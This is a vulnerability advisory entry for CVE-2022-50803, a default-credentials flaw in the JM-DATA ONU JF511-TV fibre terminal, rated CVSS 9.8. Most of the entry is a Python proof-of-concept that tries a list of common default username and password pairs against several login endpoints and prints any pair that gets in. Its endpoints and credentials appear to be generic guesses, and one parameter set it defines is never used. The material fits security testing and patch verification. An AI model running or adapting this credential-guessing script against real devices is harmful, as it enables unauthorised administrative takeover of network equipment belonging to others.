JM-DATA ONU JF511-TV version 1.0.67 uses default credentials that allow attackers to gain unauthorized access to the device with administrative privileges.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
JM-DATA ONU JF511-TV <= 1.0.67
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2022-50803 PoC - JM-DATA ONU JF511-TV Default Credentials
Author: Security Researcher
Note: For authorized security testing only
"""
import requests
import sys
from urllib.parse import urljoin
# Default credentials for JM-DATA JF511-TV
DEFAULT_CREDS = [
("admin", "admin"),
("admin", "password"),
("admin", "1234"),
("root", "root"),
("root", "admin"),
("user", "user"),
("administrator", "administrator"),
("super", "super"),
]
def check_default_credentials(target_url):
"""
Check if target JM-DATA device accepts default credentials
"""
print(f"[*] Target: {target_url}")
print(f"[*] Testing default credentials...\n")
# Common login endpoints
login_paths = [
"/login.cgi",
"/admin/login.cgi",
"/cgi-bin/login.cgi",
"/boaform/admin/loginForm",
"/formLogin",
]
for username, password in DEFAULT_CREDS:
for path in login_paths:
login_url = urljoin(target_url, path)
# Try common login parameter names
login_data = {
"username": username,
"password": password,
}
# Alternative parameter names
alt_data = {
"user": username,
"pass": password,
}
try:
response = requests.post(
login_url,
data=login_data,
timeout=10,
allow_redirects=False
)
# Check for successful login indicators
if response.status_code in [200, 302] and any(
indicator in response.text.lower()
for indicator in ["admin", "status", "logout", "dashboard"]
):
print(f"[+] VULNERABLE!")
print(f"[+] Credentials found: {username}:{password}")
print(f"[+] Login URL: {login_url}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error testing {username}:{password} - {e}")
continue
print("[-] No default credentials worked")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://192.168.1.1")
sys.exit(1)
target = sys.argv[1].rstrip('/')
check_default_credentials(target)